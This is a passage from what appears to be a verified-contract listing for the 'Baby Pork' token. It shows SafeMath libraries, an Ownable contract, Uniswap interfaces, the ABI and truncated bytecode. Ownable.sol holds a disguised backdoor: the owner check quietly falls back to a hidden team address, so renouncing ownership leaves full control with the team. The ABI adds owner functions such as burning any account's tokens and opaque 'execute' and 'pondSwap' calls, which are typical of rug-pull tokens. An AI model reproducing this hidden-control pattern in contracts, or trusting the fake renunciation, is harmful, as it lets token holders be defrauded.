     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 6 of 7: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address team_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _team = team_;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _team : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 7 of 7: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"nonfungiblePositionManager","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"pondSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f58600f5560016011556001601260006101000a81548160ff02191690831515021790555065013ca65120006013556001601560006101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff0219169083151502179055506001602360006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b50604051620069f8380380620069f88339818101604052810190620000e3919062000a6d565b6040518060400160405280600981526020017f4261627920506f726b00000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f42616279504f524b00000000000000000000000000000000000000000000000081525082806000620001636200050d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050826006908162000254919062000d19565b50816007908162000266919062000d19565b506005546004819055505050506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200029f8160016200051560201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000806000806000806000678ac7230489e800009050866018819055508560198190555084601a81905550601a5460195460185462000313919062000e2f565b6200031f919062000e2f565b60178190555083601c8190555082601d8190555081601e81905550601e54601d54601c546200034f919062000e2f565b6200035b919062000e2f565b601b819055506107d0600a8262000373919062000e6a565b6200037f919062000ee4565b600c8190555069152d02c7e14af6800000600b81905550693f870857a3e0e3800000600a81905550620003b76200058060201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004076200058060201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004696200045b6200058060201b60201c565b6001620005a960201b60201c565b6200047c306001620005a960201b60201c565b6200049161dead6001620005a960201b60201c565b620004b3620004a56200058060201b60201c565b60016200051560201b60201c565b620004c63060016200051560201b60201c565b620004db61dead60016200051560201b60201c565b620004ed33826200066460201b60201c565b620004fd6200081460201b60201c565b50505050505050505050620010eb565b600033905090565b620005256200084860201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005b96200084860201b60201c565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000658919062000f39565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006cd9062000fb7565b60405180910390fd5b620006ea60008383620008d960201b60201c565b6200070681600854620008de60201b620026b71790919060201c565b6008819055506200076581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620008de60201b620026b71790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000808919062000fea565b60405180910390a35050565b6000620008266200084860201b60201c565b6000601560006101000a81548160ff0219169083151502179055506001905090565b620008586200050d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200087e6200094160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008d7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008ce9062001057565b60405180910390fd5b565b505050565b6000808284620008ef919062000e2f565b90508381101562000937576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200092e90620010c9565b60405180910390fd5b8091505092915050565b600080620009546200095d60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009da5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009fe565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a358262000a08565b9050919050565b62000a478162000a28565b811462000a5357600080fd5b50565b60008151905062000a678162000a3c565b92915050565b60006020828403121562000a865762000a8562000a03565b5b600062000a968482850162000a56565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b2157607f821691505b60208210810362000b375762000b3662000ad9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ba17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b62565b62000bad868362000b62565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000bfa62000bf462000bee8462000bc5565b62000bcf565b62000bc5565b9050919050565b6000819050919050565b62000c168362000bd9565b62000c2e62000c258262000c01565b84845462000b6f565b825550505050565b600090565b62000c4562000c36565b62000c5281848462000c0b565b505050565b5b8181101562000c7a5762000c6e60008262000c3b565b60018101905062000c58565b5050565b601f82111562000cc95762000c938162000b3d565b62000c9e8462000b52565b8101602085101562000cae578190505b62000cc662000cbd8562000b52565b83018262000c57565b50505b505050565b600082821c905092915050565b600062000cee6000198460080262000cce565b1980831691505092915050565b600062000d09838362000cdb565b9150826002028217905092915050565b62000d248262000a9f565b67ffffffffffffffff81111562000d405762000d3f62000aaa565b5b62000d4c825462000b08565b62000d5982828562000c7e565b600060209050601f83116001811462000d91576000841562000d7c578287015190505b62000d88858262000cfb565b86555062000df8565b601f19841662000da18662000b3d565b60005b8281101562000dcb5784890151825560018201915060208501945060208101905062000da4565b8683101562000deb578489015162000de7601f89168262000cdb565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000e3c8262000bc5565b915062000e498362000bc5565b925082820190508082111562000e645762000e6362000e00565b5b92915050565b600062000e778262000bc5565b915062000e848362000bc5565b925082820262000e948162000bc5565b9150828204841483151762000eae5762000ead62000e00565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ef18262000bc5565b915062000efe8362000bc5565b92508262000f115762000f1062000eb5565b5b828204905092915050565b60008115159050919050565b62000f338162000f1c565b82525050565b600060208201905062000f50600083018462000f28565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000f9f601f8362000f56565b915062000fac8262000f67565b602082019050919050565b6000602082019050818103600083015262000fd28162000f90565b9050919050565b62000fe48162000bc5565b82525050565b600060208201905062001001600083018462000fd9565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200103f60208362000f56565b91506200104c8262001007565b602082019050919050565b60006020820190508181036000830152620010728162001030565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620010b1601b8362000f56565b9150620010be8262001079565b602082019050919050565b60006020820190508181036000830152620010e481620010a2565b9050919050565b6080516158d5620011236000396000818161111101528181612cc101528181613e6101528181613f420152613f6901526158d56000f3fe6080604052600436106103fe5760003560e01c80638ea5220f11610213578063c024666811610123578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f58578063f2fde38b14610f83578063f637434214610fac578063f8b45b0514610fd7578063fe72b27a1461100257610405565b8063dd62ed3e14610e9c578063e2f4560514610ed9578063e884f26014610f04578063efdcafe714610f2f57610405565b8063c876d0b9116100f2578063c876d0b914610da1578063c8c8ebe414610dcc578063d257b34f14610df7578063d596f73e14610e34578063d85ba06314610e7157610405565b8063c024666814610cfd578063c17b5b8c14610d26578063c18bc19514610d4f578063c2b7bbb614610d7857610405565b8063a0d82dc5116101a6578063a9059cbb11610175578063a9059cbb14610c06578063aacebbe314610c43578063b62496f514610c6c578063bbbb3ffc14610ca9578063bbc0c74214610cd257610405565b8063a0d82dc514610b4a578063a165506f14610b75578063a457c2d714610b9e578063a4c82a0014610bdb57610405565b80639c3b4fdc116101e25780639c3b4fdc14610aa05780639dc29fac14610acb5780639ec22c0e14610af45780639fccce3214610b1f57610405565b80638ea5220f146109f65780639213691314610a21578063924de9b714610a4c57806395d89b4114610a7557610405565b80633582ad231161030e578063715018a6116102a157806375f0a8741161027057806375f0a874146109355780637bce5a04146109605780638095d5641461098b5780638a8c523c146109b45780638da5cb5b146109cb57610405565b8063715018a6146108a1578063730c1888146108b8578063751039fc146108e15780637571336a1461090c57610405565b80634fbee193116102dd5780634fbee193146107d15780636a486a8e1461080e5780636ddd17131461083957806370a082311461086457610405565b80633582ad231461071557806339509351146107405780633eb2b5ad1461077d57806349bd5a5e146107a657610405565b80631a8145bb1161039157806326ededb81161036057806326ededb81461064057806327c8f835146106695780632c3e486c146106945780632e82f1a0146106bf578063313ce567146106ea57610405565b80631a8145bb146105845780631f3fed8f146105af578063203e727e146105da57806323b872dd1461060357610405565b806318160ddd116103cd57806318160ddd146104da5780631816467f14610505578063184c16c51461052e578063199ffc721461055957610405565b806306fdde031461040a578063095ea7b31461043557806310d5de53146104725780631694505e146104af57610405565b3661040557005b600080fd5b34801561041657600080fd5b5061041f61103f565b60405161042c91906140e6565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906141a6565b6110d1565b6040516104699190614201565b60405180910390f35b34801561047e57600080fd5b506104996004803603810190610494919061421c565b6110ef565b6040516104a69190614201565b60405180910390f35b3480156104bb57600080fd5b506104c461110f565b6040516104d191906142a8565b60405180910390f35b3480156104e657600080fd5b506104ef611133565b6040516104fc91906142d2565b60405180910390f35b34801561051157600080fd5b5061052c6004803603810190610527919061421c565b61113d565b005b34801561053a57600080fd5b50610543611205565b60405161055091906142d2565b60405180910390f35b34801561056557600080fd5b5061056e61120b565b60405161057b91906142d2565b60405180910390f35b34801561059057600080fd5b50610599611211565b6040516105a691906142d2565b60405180910390f35b3480156105bb57600080fd5b506105c4611217565b6040516105d191906142d2565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc91906142ed565b61121d565b005b34801561060f57600080fd5b5061062a6004803603810190610625919061431a565b6112b0565b6040516106379190614201565b60405180910390f35b34801561064c57600080fd5b50610667600480360381019061066291906143d2565b611389565b005b34801561067557600080fd5b5061067e611466565b60405161068b9190614441565b60405180910390f35b3480156106a057600080fd5b506106a961146c565b6040516106b691906142d2565b60405180910390f35b3480156106cb57600080fd5b506106d4611472565b6040516106e19190614201565b60405180910390f35b3480156106f657600080fd5b506106ff611485565b60405161070c9190614478565b60405180910390f35b34801561072157600080fd5b5061072a61148e565b6040516107379190614201565b60405180910390f35b34801561074c57600080fd5b50610767600480360381019061076291906141a6565b6114a1565b6040516107749190614201565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f919061421c565b611554565b005b3480156107b257600080fd5b506107bb6115a0565b6040516107c89190614441565b60405180910390f35b3480156107dd57600080fd5b506107f860048036038101906107f3919061421c565b6115c6565b6040516108059190614201565b60405180910390f35b34801561081a57600080fd5b5061082361161c565b60405161083091906142d2565b60405180910390f35b34801561084557600080fd5b5061084e611622565b60405161085b9190614201565b60405180910390f35b34801561087057600080fd5b5061088b6004803603810190610886919061421c565b611635565b60405161089891906142d2565b60405180910390f35b3480156108ad57600080fd5b506108b661167e565b005b3480156108c457600080fd5b506108df60048036038101906108da91906144bf565b611744565b005b3480156108ed57600080fd5b506108f6611810565b6040516109039190614201565b60405180910390f35b34801561091857600080fd5b50610933600480360381019061092e9190614512565b61183c565b005b34801561094157600080fd5b5061094a61189f565b6040516109579190614441565b60405180910390f35b34801561096c57600080fd5b506109756118c5565b60405161098291906142d2565b60405180910390f35b34801561099757600080fd5b506109b260048036038101906109ad9190614552565b6118cb565b005b3480156109c057600080fd5b506109c9611956565b005b3480156109d757600080fd5b506109e061199d565b6040516109ed9190614441565b60405180910390f35b3